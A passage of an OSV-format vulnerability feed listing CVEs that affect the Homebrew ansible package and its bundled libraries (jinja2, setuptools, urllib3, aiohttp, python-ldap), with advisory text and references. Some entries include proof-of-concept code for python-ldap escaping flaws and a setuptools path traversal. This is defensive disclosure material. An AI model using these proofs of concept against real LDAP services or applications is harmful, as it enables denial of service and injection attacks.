owner.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L"}],"references":[{"type":"WEB","url":"https://access.redhat.com/downloads/content/package-browser/"},{"type":"WEB","url":"https://catalog.redhat.com/software/containers/"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2025:1861"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2024-9902"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/9xxx/CVE-2024-9902.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-9902"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2318271"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-14010","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-8ggh-xwr9-3373","CVE-2025-14010","PYSEC-2026-1119"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"12.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Community General Collection is vulnerable to exposure of sensitive information","details":"A flaw was found in ansible-collection-community-general. This vulnerability allows for information exposure (IE) of sensitive credentials, specifically plaintext passwords, via verbose output when running Ansible with debug modes. Attackers with access to logs could retrieve these secrets and potentially compromise Keycloak accounts or administrative access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-14010"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/issues/11000"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/commit/08e56bbb9b57740a879d3057d84cdb02a162b840"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2025-14010"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2418774"},{"type":"PACKAGE","url":"https://github.com/ansible-collections/community.general"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/12.2.0/12/CHANGELOG-v12.md#security-fixes"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-27516","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-cpwx-vrp4-4pq7","CVE-2025-27516","PYSEC-2026-1471"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"9.0.1"},{"introduced":"9.2.0"},{"fixed":"11.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.6","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 vulnerable to sandbox breakout through attr filter selecting format method","details":"An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute lookup.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27516"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-47273","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:32:40Z","upstream":["GHSA-5rjg-fvgr-3xxf","BIT-setuptools-2025-47273","CVE-2025-47273","PYSEC-2025-49"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.1.0"},{"fixed":"2.1.2.0"},{"introduced":"9.2.0"},{"fixed":"11.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"78.1.1","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.2.1","key":"pkg:pypi/setuptools@84.2.1","resource":"setuptools"}]},"summary":"setuptools has a path traversal vulnerability in PackageIndex.download that leads to Arbitrary File Write","details":"### Summary \nA path traversal vulnerability in `PackageIndex` was fixed in setuptools version 78.1.1\n\n### Details\n```\n    def _download_url(self, url, tmpdir):\n        # Determine download filename\n        #\n        name, _fragment = egg_info_for_url(url)\n        if name:\n            while '..' in name:\n                name = name.replace('..', '.').replace('\\\\', '_')\n        else:\n            name = \"__downloaded__\"  # default if URL has no path contents\n\n        if name.endswith('.[egg.zip](http://egg.zip/)'):\n            name = name[:-4]  # strip the extra .zip before download\n\n -->       filename = os.path.join(tmpdir, name)\n```\n\nHere: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88\n\n`os.path.join()` discards the first argument `tmpdir` if the second begins with a slash or drive letter.\n`name` is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.\n\n### Risk Assessment\nAs easy_install and package_index are deprecated, the exploitation surface is reduced.\nHowever, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.\n\n### Impact\nAn attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.\n\n### References\nhttps://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5\nhttps://github.com/pypa/setuptools/issues/4946","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-5rjg-fvgr-3xxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47273"},{"type":"WEB","url":"https://github.com/pypa/setuptools/issues/4946"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/250a6d17978f9f6ac3ac887091f2d32886fbbb0b"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2025-49.yaml"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/05/msg00035.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-50181","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-pq67-6m6q-mj2v","CVE-2025-50181","PYSEC-2026-1999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.1.0"},{"fixed":"11.7.0_1"},{"introduced":"12.1.0"},{"fixed":"13.1.0"},{"introduced":"13.2.0"},{"fixed":"13.2.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation","details":"urllib3 handles redirects and retries using the same mechanism, which is controlled by the `Retry` object. The most common way to disable redirects is at the request level, as follows:\n\n```python\nresp = urllib3.request(\"GET\", \"https://httpbin.org/redirect/1\", redirect=False)\nprint(resp.status)\n# 302\n```\n\nHowever, it is also possible to disable redirects, for all requests, by instantiating a `PoolManager` and specifying `retries` in a way that disable redirects:\n\n```python\nimport urllib3\n\nhttp = urllib3.PoolManager(retries=0)  # should raise MaxRetryError on redirect\nhttp = urllib3.PoolManager(retries=urllib3.Retry(redirect=0))  # equivalent to the above\nhttp = urllib3.PoolManager(retries=False)  # should return the first response\n\nresp = http.request(\"GET\", \"https://httpbin.org/redirect/1\")\n```\n\nHowever, the `retries` parameter is currently ignored, which means all the above examples don't disable redirects.\n\n## Affected usages\n\nPassing `retries` on `PoolManager` instantiation to disable redirects or restrict their number.\n\nBy default, requests and botocore users are not affected.\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable.\n\n## Remediation\n\nYou can remediate this vulnerability with the following steps:\n\n * Upgrade to a patched version of urllib3. If your organization would benefit from the continued support of urllib3 1.x, please contact [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com) to discuss sponsorship or contribution opportunities.\n * Disable redirects at the `request()` level instead of the `PoolManager()` level.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-pq67-6m6q-mj2v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50181"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/f05b1329126d5be6de501f9d1e3e36738bc08857"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-53643","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-9548-qrrj-x5pj","CVE-2025-53643","PYSEC-2026-1104"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.12.14","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":" AIOHTTP is vulnerable to HTTP Request/Response Smuggling through incorrect parsing of chunked trailer sections","details":"### Summary\nThe Python parser is vulnerable to a request smuggling vulnerability due to not parsing trailer sections of an HTTP request.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9548-qrrj-x5pj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53643"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-61911","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-r7r6-cc7p-4v5m","CVE-2025-61911","PYSEC-2026-1847"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.4.5","resource":"python-ldap","resource_purl":"pkg:pypi/python-ldap@3.4.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-ldap","subject_version":"3.4.8","key":"pkg:pypi/python-ldap@3.4.8","resource":"python-ldap"}]},"summary":"python-ldap has sanitization bypass in ldap.filter.escape_filter_chars","details":"### Summary\nThe sanitization method `ldap.filter.escape_filter_chars` can be tricked to skip escaping of special characters when a crafted `list` or `dict` is supplied as the `assertion_value` parameter, and the non-default `escape_mode=1` is configured.\n\n### Details\nThe method `ldap.filter.escape_filter_chars` supports 3 different escaping modes. `escape_mode=0` (default) and `escape_mode=2` happen to raise exceptions when a `list` or `dict` object is supplied as the `assertion_value` parameter. However, `escape_mode=1` happily computes without performing adequate logic to ensure a fully escaped return value.\n\n### PoC\n```\n>>> import ldap.filter\n```\n**Exploitable**\n```\n>>> ldap.filter.escape_filter_chars([\"abc@*()/xyz\"], escape_mode=1)\n'abc@*()/xyz'\n>>> ldap.filter.escape_filter_chars({\"abc@*()/xyz\": 1}, escape_mode=1)\n'abc@*()/xyz'\n```\n**Not exploitable**\n```\n>>> ldap.filter.escape_filter_chars(\"abc@*()/xyz\", escape_mode=1)\n'abc@\\\\2a\\\\28\\\\29\\\\2fxyz'\n>>> ldap.filter.escape_filter_chars([\"abc@*()/xyz\"], escape_mode=0)\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\n  File \"/usr/local/lib64/python3.12/site-packages/ldap/filter.py\", line 41, in escape_filter_chars\n    s = assertion_value.replace('\\\\', r'\\5c')\n        ^^^^^^^^^^^^^^^^^^^^^^^\nAttributeError: 'list' object has no attribute 'replace'\n>>> ldap.filter.escape_filter_chars([\"abc@*()/xyz\"], escape_mode=2)\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\n  File \"/usr/local/lib64/python3.12/site-packages/ldap/filter.py\", line 36, in escape_filter_chars\n    r.append(\"\\\\%02x\" % ord(c))\n                        ^^^^^^\nTypeError: ord() expected a character, but string of length 11 found\n```\n### Impact\nIf an application relies on the vulnerable method in the `python-ldap` library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them.\n\nWith Python being a dynamically typed language, and the commonly used `JSON` format supporting `list` and `dict`, it is to be expected that Python applications may commonly forward unchecked and potentially malicious `list` and `dict` objects to the vulnerable sanitization method.\n\nThe vulnerable `escape_mode=1` configuration does not appear to be widely used.\n\n### Suggested Fix\nAdd a type check at the start of the `ldap.filter.escape_filter_chars` method to raise an exception when the supplied `assertion_value` parameter is not of type `str`.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/security/advisories/GHSA-r7r6-cc7p-4v5m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61911"},{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/commit/3957526fb1852e84b90f423d9fef34c7af25b85a"},{"type":"PACKAGE","url":"https://github.com/python-ldap/python-ldap"},{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/releases/tag/python-ldap-3.4.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-61912","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-p34h-wq7j-h5v6","CVE-2025-61912","PYSEC-2026-1846"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.4.5","resource":"python-ldap","resource_purl":"pkg:pypi/python-ldap@3.4.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-ldap","subject_version":"3.4.8","key":"pkg:pypi/python-ldap@3.4.8","resource":"python-ldap"}]},"summary":"python-ldap is Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination","details":"### Summary\n\n\n`ldap.dn.escape_dn_chars()` escapes `\\x00` incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form `\\00`. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.\n\n\n\n### Details\n\n\n\nAffected function: `ldap.dn.escape_dn_chars(s)`\n\nFile: Lib/ldap/dn.py\n\nBuggy behavior:\nFor NUL, the function does:\n\n`s = s.replace('\\000', '\\\\\\000')  # backslash + literal NUL`\n\nThis produces Python strings which, when passed to python-ldap APIs (e.g., `add_s`, `modify_s`, r`ename_s`, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.\nWith correct RFC-4514 encoding (`\\00`), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.\n\nWhy it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.\n\nStandards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.\n\nMinimal fix: Escape NUL as hex:\n\n`s = s.replace('\\x00', r'\\00')`\n\n\n\n### PoC\n\nPrereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.\n\n```import ldap\nfrom ldap.dn import escape_dn_chars, str2dn\n\nl = ldap.initialize(\"ldap://10.0.1.11\")              # your lab DC/LDAP\nl.protocol_version = 3\nl.set_option(ldap.OPT_REFERRALS, 0)\nl.simple_bind_s(r\"DSEC\\dani.aga\", \"PassAa1\")         \n\n# --- Attacker-controlled value contains NUL ---\ncn = \"bad\\0name\"\nescaped_cn = escape_dn_chars(cn)\ndn = f\"CN={escaped_cn},OU=Users,DC=dsec,DC=local\"\nattrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]\n\nprint(\"=== BUGGY DN (contains literal NUL) ===\")\nprint(\"escaped_cn repr:\", repr(escaped_cn))\nprint(\"dn repr:\", repr(dn))\nprint(\"contains NUL?:\", \"\\x00\" in dn, \"at index:\", dn.find(\"\\x00\"))\n\nprint(\"=> add_s(buggy DN): expected client-side failure (no server contact)\")\ntry:\n    l.add_s(dn, attrs)\n    print(\"add_s(buggy): succeeded (unexpected)\")\nexcept Exception as e:\n    print(\"add_s(buggy):\", type(e).__name__, e)  # ValueError: embedded null character\n\n# --- Correct hex escape demonstrates the client proceeds to the server ---\nsafe_dn = dn.replace(\"\\x00\", r\"\\00\")                 # RFC 4514-compliant\nprint(\"\\n=== HEX-ESCAPED DN (\\\\00) ===\")\nprint(\"safe_dn repr:\", repr(safe_dn))\nprint(\"=> sanity parse:\", str2dn(safe_dn))           # parses locally\n\nprint(\"=> add_s(safe DN): reaches server (AD will likely reject with 34)\")\ntry:\n    l.add_s(safe_dn, attrs)\n    print(\"add_s(safe): success (unlikely without required attrs/rights)\")\nexcept ldap.LDAPError as e:\n    print(\"add_s(safe):\", e.__class__.__name__, e)  # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)\n```\n\nObserved result (example):\n\n`add_s(buggy): ValueError embedded null character` ← client-side DoS\n\n`add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME)` ← request reached server; rejection due to server policy, not client bug\n\n\n### Impact\n\nType: Denial of Service (client-side).\n\nWho is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user `creation/rename tools`, `sync/ETL jobs`, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with `\\x00` reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/security/advisories/GHSA-p34h-wq7j-h5v6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61912"},{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/commit/6ea80326a34ee6093219628d7690bced50c49a3f"},{"type":"PACKAGE","url":"https://github.com/python-ldap/python-ldap"},{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/releases/tag/python-ldap-3.4.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-66418","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-gm62-xv2j-4w53","CVE-2025-66418","PYSEC-2026-1998"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.2"},{"fixed":"13.1.0"},{"introduced":"13.2.0"},{"fixed":"13.2.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 allows an unbounded number of links in the decompression chain","details":"## Impact\n\nurllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).\n\nHowever, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.\n\n\n## Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.\n\n\n## Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.\n\nIf upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers[\"content-encoding\"]` contains a safe number of encodings before reading the response content.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66418"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-66471","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-2xpw-w6gg-jr37","CVE-2025-66471","PYSEC-2026-1994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.1.0"},{"fixed":"13.1.0"},{"introduced":"13.2.0"},{"fixed":"13.2.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 streaming API improperly handles highly compressed data","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66471"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/d0fde3672e4a4093f7587858dccfc298eb66e46c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-1994.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://pypi.org/project/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69223","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-6mq8-rvhq-8wgg","CVE-2025-69223","PYSEC-2026-1101"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP's HTTP Parser auto_decompress feature is vulnerable to zip bomb","details":"### Summary\nA zip bomb can be used to execute a DoS against the aiohttp server.\n\n### 